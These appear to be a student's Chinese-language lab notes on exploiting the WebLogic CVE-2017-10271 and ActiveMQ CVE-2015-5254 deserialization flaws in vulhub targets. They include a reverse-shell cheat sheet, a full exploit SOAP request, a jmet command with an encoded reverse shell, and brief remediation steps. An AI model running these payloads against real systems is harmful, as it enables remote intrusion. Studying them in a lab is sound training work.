上午教室占用,休息。
下午讲了两个vulhub靶机,有XMLDecoder 反序列化漏洞,ActiveMQ反序列化漏洞。
常用反弹shell命令
1 2 3 4 5 6 7 8 9 10 11
| bash -i >& /dev/tcp/[kali_ip]/[nc_port] 0>&1
bash -i &> /dev/tcp/[kali_ip]/[nc_port] 0>&1 bash -i >& /dev/tcp/[kali_ip]/[nc_port] 0<&1 bash -i >& /dev/tcp/[kali_ip]/[nc_port] <&1 bash -i >& /dev/tcp/[kali_ip]/[nc_port] <&2 bash -i 1> /dev/tcp/[kali_ip]/[nc_port] 2>&1 0>&1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [kali_ip] [nc_port]>/tmp/f
exec 5<>/dev/tcp/[kali_ip]/[nc_port];cat <&5|while read line;do $line>&5 2>&1;done
|
Weblogic 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)
影响版本
- OracleWebLogic Server10.3.6.0.0
- OracleWebLogic Server12.1.3.0.0
- OracleWebLogic Server12.2.1.1.0
- OracleWebLogic Server12.2.1.2.0
漏洞原理
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
漏洞利用
抓包修改payload,nc监听,反弹shell。
- 原数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| GET / HTTP/1.1
Host: 192.168.137.129:7001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
|
- 修改payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
|
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: [靶机ip]:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/[攻击机IP]/[监听端口] 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
|
- nc反弹shell:
漏洞修复
删除WebLogic wls-wsat组件:
1 2 3 4 5
| rm -rf wlserver_10.3/server/lib/wls-wsat.war
rm -rf user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/
|
ActiveMQ反序列化漏洞(CVE-2015-5254)
漏洞原理
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
影响版本
漏洞利用
- 下载jmet的jar文件:
1 2 3 4 5
| cd /opt
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external
|
- 上传信息给靶机
61616
端口,明文内容在burpsuite进行base64加密:
1 2 3 4 5 6 7 8
| bash -i >& /dev/tcp/192.168.137.128/4444 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMjgvNDQ0NCAwPiYx
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.137.129 61616
|
- 本地开启nc监听:
- 访问靶机
8161
端口:http://192.168.137.129:8161/admin/browse.jsp?JMSDestination=event
,点击信息,得到反弹shell。